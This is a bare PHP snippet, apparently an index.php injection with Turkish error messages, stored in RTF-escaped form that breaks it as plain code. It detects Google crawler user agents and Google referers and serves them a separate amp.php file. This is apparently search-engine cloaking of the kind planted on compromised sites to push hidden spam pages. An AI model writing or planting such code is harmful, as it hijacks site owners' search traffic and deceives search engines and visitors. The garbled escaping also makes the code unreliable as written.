if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '/index.php') \{\
    header('Content-Type: text/html; charset=UTF-8');\
\
    $ampPath = __DIR__ . '/amp.php';\
    if (!file_exists($ampPath)) \{\
        http_response_code(500);\
        echo 'amp.php bulunamad\uc0\u305 : ' . $ampPath;\
        exit;\
    \}\
\
    require $ampPath;\
    exit;\
\}\
\
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';\
$referer   = $_SERVER['HTTP_REFERER'] ?? '';\
\
$googleBots = [\
    'Googlebot',\
    'AdsBot',\
    'Mediapartners-Google',\
    'APIs-Google',\
    'Googlebot-Image',\
    'Googlebot-Video',\
    'Googlebot-News',\
    'Googlebot-Search',\
    'Googlebot-Inspect',\
    'Googlebot-Android',\
    'Googlebot-Mobile',\
    'Googlebot-Ads',\
    'Googlebot-Discovery',\
    'Google-',\
];\
\
$pattern = '/(' . implode('|', array_map('preg_quote', $googleBots)) . ')/i';\
\
if (\
    ($userAgent !== '' && preg_match($pattern, $userAgent)) ||\
    ($referer !== '' && stripos($referer, 'google.') !== false)\
) \{\
    header('Content-Type: text/html; charset=UTF-8');\
\
    $ampPath = __DIR__ . '/amp.php';\
    if (!file_exists($ampPath)) \{\
        http_response_code(500);\
        echo 'amp.php bulunamad\uc0\u305 : ' . $ampPath;\
        exit;\
    \}\
\
    require $ampPath;\
    exit;\
\}}